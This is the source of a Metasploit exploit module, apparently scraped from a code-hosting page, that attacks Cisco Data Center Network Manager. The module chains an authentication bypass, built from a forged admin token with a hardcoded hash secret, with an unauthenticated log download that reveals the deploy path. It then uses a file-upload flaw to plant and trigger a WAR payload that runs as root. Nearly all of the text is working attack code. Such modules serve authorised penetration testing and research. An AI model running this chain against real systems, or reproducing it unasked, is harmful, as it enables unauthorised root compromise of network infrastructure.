Path: blob/master/modules/exploits/multi/http/cisco_dcnm_upload_2019.rb
19535 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::EXE10include Msf::Exploit::FileDropper1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Cisco Data Center Network Manager Unauthenticated Remote Code Execution',17'Description' => %q{18DCNM exposes a file upload servlet (FileUploadServlet) at /fm/fileUpload.19An authenticated user can abuse this servlet to upload a WAR to the Apache Tomcat webapps20directory and achieve remote code execution as root.21This module exploits two other vulnerabilities, CVE-2019-1619 for authentication bypass on22versions 10.4(2) and below, and CVE-2019-1622 (information disclosure) to obtain the correct23directory for the WAR file upload.24This module was tested on the DCNM Linux virtual appliance 10.4(2), 11.0(1) and 11.1(1), and should25work on a few versions below 10.4(2). Only version 11.0(1) requires authentication to exploit26(see References to understand why).27},28'Author' => [29'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module30],31'License' => MSF_LICENSE,32'References' => [33[ 'CVE', '2019-1619' ], # auth bypass34[ 'CVE', '2019-1620' ], # file upload35[ 'CVE', '2019-1622' ], # log download36[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-bypass' ],37[ 'URL', 'https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190626-dcnm-codex' ],38[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/Cisco/cisco-dcnm-rce.txt' ],39[ 'URL', 'https://seclists.org/fulldisclosure/2019/Jul/7' ]40],41'Platform' => 'java',42'Arch' => ARCH_JAVA,43'Targets' => [44[ 'Automatic', {} ],45[46'Cisco DCNM 11.1(1)', {}47],48[49'Cisco DCNM 11.0(1)', {}50],51[52'Cisco DCNM 10.4(2)', {}53]54],55'Privileged' => true,56'DefaultOptions' => { 'WfsDelay' => 10 },57'DefaultTarget' => 0,58'DisclosureDate' => '2019-06-26',59'Notes' => {60'Reliability' => UNKNOWN_RELIABILITY,61'Stability' => UNKNOWN_STABILITY,62'SideEffects' => UNKNOWN_SIDE_EFFECTS63}64)65)6667register_options(68[69Opt::RPORT(443),70OptBool.new('SSL', [true, 'Connect with TLS', true]),71OptString.new('TARGETURI', [true, "Default server path", '/']),72OptString.new('USERNAME', [true, "Username for auth (required only for 11.0(1) and above", 'admin']),73OptString.new('PASSWORD', [true, "Password for auth (required only for 11.0(1) and above", 'admin']),74]75)76end7778def check79# at the moment this is the best way to detect80# check if pmreport and fileUpload servlets return a 500 error with no params81res = send_request_cgi(82'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'),83'vars_get' =>84{85'token' => rand_text_alpha(5..20)86},87'method' => 'GET'88)89if res && res.code == 50090res = send_request_cgi(91'uri' => normalize_uri(target_uri.path, 'fm', 'fileUpload'),92'method' => 'GET'93)94if res && res.code == 50095return CheckCode::Detected96end97end9899CheckCode::Unknown100end101102def target_select103if target != targets[0]104return target105else106res = send_request_cgi(107'uri' => normalize_uri(target_uri.path, 'fm', 'fmrest', 'about', 'version'),108'method' => 'GET'109)110if res && res.code == 200111if res.body.include?('version":"11.1(1)')112print_good("#{peer} - Detected DCNM 11.1(1)")113print_status("#{peer} - No authentication required, ready to exploit!")114return targets[1]115elsif res.body.include?('version":"11.0(1)')116print_good("#{peer} - Detected DCNM 11.0(1)")117print_status("#{peer} - Note that 11.0(1) requires valid authentication credentials to exploit")118return targets[2]119elsif res.body.include?('version":"10.4(2)')120print_good("#{peer} - Detected DCNM 10.4(2)")121print_status("#{peer} - No authentication required, ready to exploit!")122return targets[3]123else124print_error("#{peer} - Failed to detect target version.")125print_error("Please contact module author or add the target yourself and submit a PR to the Metasploit project!")126print_error(res.body)127print_status("#{peer} - We will proceed assuming the version is below 10.4(2) and vulnerable to auth bypass")128return targets[3]129end130end131fail_with(Failure::NoTarget, "#{peer} - Failed to determine target")132end133end134135def auth_v11136res = send_request_cgi(137'uri' => normalize_uri(target_uri.path, 'fm/'),138'method' => 'GET',139'vars_get' =>140{141'userName' => datastore['USERNAME'],142'password' => datastore['PASSWORD']143}144)145146if res && res.code == 200147# get the JSESSIONID cookie148if res.get_cookies149res.get_cookies.split(';').each do |cok|150if cok.include?("JSESSIONID")151return cok152end153end154end155end156end157158def auth_v10159# step 1: get a JSESSIONID cookie and the server Date header160res = send_request_cgi(161'uri' => normalize_uri(target_uri.path, 'fm/'),162'method' => 'GET'163)164165# step 2: convert the Date header and create the auth hash166if res && res.headers['Date']167jsession = res.get_cookies.split(';')[0]168date = Time.httpdate(res.headers['Date'])169server_date = date.strftime("%s").to_i * 1000170print_good("#{peer} - Got sysTime value #{server_date.to_s}")171172# auth hash format:173# username + sessionId + sysTime + POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF174session_id = rand(1000..50000).to_s175md5 = Digest::MD5.digest 'admin' + session_id + server_date.to_s +176"POsVwv6VBInSOtYQd9r2pFRsSe1cEeVFQuTvDfN7nJ55Qw8fMm5ZGvjmIr87GEF"177md5_str = Base64.strict_encode64(md5)178179# step 3: authenticate our cookie as admin180# token format: sessionId.sysTime.md5_str.username181res = send_request_cgi(182'uri' => normalize_uri(target_uri.path, 'fm', 'pmreport'),183'cookie' => jsession,184'vars_get' =>185{186'token' => "#{session_id}.#{server_date.to_s}.#{md5_str}.admin"187},188'method' => 'GET'189)190191if res && res.code == 500192return jsession193end194end195end196197# use CVE-2019-1622 to fetch the logs unauthenticated, and get the WAR upload path from jboss*.log198def get_war_path199res = send_request_cgi(200'uri' => normalize_uri(target_uri.path, 'fm', 'log', 'fmlogs.zip'),201'method' => 'GET'202)203204if res && res.code == 200205tmp = Tempfile.new206# we have to drop this into a file first207# else we will get a Zip::GPFBit3Error if we use an InputStream208File.binwrite(tmp, res.body)209Zip::File.open(tmp) do |zis|210zis.each do |entry|211if entry.name =~ /jboss[0-9]*\.log/212fdata = zis.read(entry)213if fdata[/Started FileSystemDeploymentService for directory ([\w\/\\\-\.: ]+)/]214tmp.close215tmp.unlink216return $1.strip217end218end219end220end221end222end223224def exploit225target = target_select226227if target == targets[2]228jsession = auth_v11229elsif target == targets[3]230jsession = auth_v10231end232233# targets[1] DCNM 11.1(1) doesn't need auth!234if jsession.nil? && target != targets[1]235fail_with(Failure::NoAccess, "#{peer} - Failed to authenticate JSESSIONID cookie")236elsif target != targets[1]237print_good("#{peer} - Successfully authenticated our JSESSIONID cookie")238end239240war_path = get_war_path241if war_path.nil? or war_path.empty?242fail_with(Failure::Unknown, "#{peer} - Failed to get WAR path from logs")243else244print_good("#{peer} - Obtain WAR path from logs: #{war_path}")245end246247# Generate our payload... and upload it248app_base = rand_text_alphanumeric(6..16)249war_payload = payload.encoded_war({ :app_name => app_base }).to_s250251fname = app_base + '.war'252post_data = Rex::MIME::Message.new253post_data.add_part(fname, nil, nil, content_disposition = "form-data; name=\"fname\"")254post_data.add_part(war_path, nil, nil, content_disposition = "form-data; name=\"uploadDir\"")255post_data.add_part(war_payload,256"application/octet-stream", 'binary',257"form-data; name=\"#{rand_text_alpha(5..20)}\"; filename=\"#{rand_text_alpha(6..10)}\"")258data = post_data.to_s259260print_status("#{peer} - Uploading payload...")261res = send_request_cgi(262'uri' => normalize_uri(target_uri.path, 'fm', 'fileUpload'),263'method' => 'POST',264'data' => data,265'cookie' => jsession,266'ctype' => "multipart/form-data; boundary=#{post_data.bound}"267)268269if res && res.code == 200 && res.body[/#{fname}/]270print_good("#{peer} - WAR uploaded, waiting a few seconds for deployment...")271272sleep 10273274print_status("#{peer} - Executing payload...")275send_request_cgi(276'uri' => normalize_uri(target_uri.path, app_base),277'method' => 'GET'278)279else280fail_with(Failure::Unknown, "#{peer} - Failed to upload WAR file")281end282end283end284285286